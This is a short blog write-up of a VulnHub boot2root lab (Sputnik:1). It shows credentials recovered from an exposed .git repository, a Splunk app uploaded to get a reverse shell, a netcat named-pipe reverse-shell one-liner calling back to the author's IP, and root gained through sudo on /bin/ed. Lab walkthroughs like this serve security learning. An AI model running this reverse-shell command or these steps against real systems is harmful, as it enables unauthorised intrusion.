Ghroot For Security

In The Cyber Jungle

Home HackTheBox-Writeups Whoami MyCodes

2 November 2019

[VulnHub] Sputnik:1 WriteUp

I solved boot2root machine today.Machine level was easy. It was fun machine.Lets start

Tools

Steps

I detected target ip : netdiscover -r 192.168.88.0/24 . Network adapterwas Nat mode.

deneme

And I did nmap scanning to see what happen is it have network side. I found .git directory on port 55555 .Maybe I can find credential .

deneme

I looked for git directory deeply and I found repository address.

deneme

I downloaded the repo to my pc .And I searched the directory .

deneme

I decided to look logs . And I saw different tag : secret .

deneme

I went to commit And I saw something like creds.

deneme

I tried the creds on login page and I could login.

deneme

When I logon the server I saw splunk name and searched in google for how I get reverse shell. I gone the first link and I did what there is wrights on readme page .

deneme

First one I downloaded splunk_shells-1.2.tar.gz file for upload to page.I cliecked install app from file .

deneme

I selected my file and uploaded .

deneme

I fixed permissions settings and I did for All apps and saved .

deneme

I was need to call the page for get reverse shell and I wrote the line: | revshell std my_ip my_port .

deneme

I got reverse shell with nc .But the shell didnt work right so I was need to lead the another shell . So I used the line : rm /tmp/f;mkinfo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.88.128 1234 >/tmp/f .

deneme

This time worked correctly the shell.And I got connection.And started enumerating os. I did my favorite enumeration sudo -l . I found a command: /bin/ed .Honestly I saw first time the command . So I didnt know anything about that . deneme

It was text editor. I googlied the command rapidly .I didnt find something but I remembered the tool was like vim .And I tried same thing When I use vim and worked .I got root and read flag.

deneme

Summary:

I liked the box .Because there was have git and I saw /bin/ed first time at least different thing. Have a good hacks .See you next machines :)

back

by Ghroot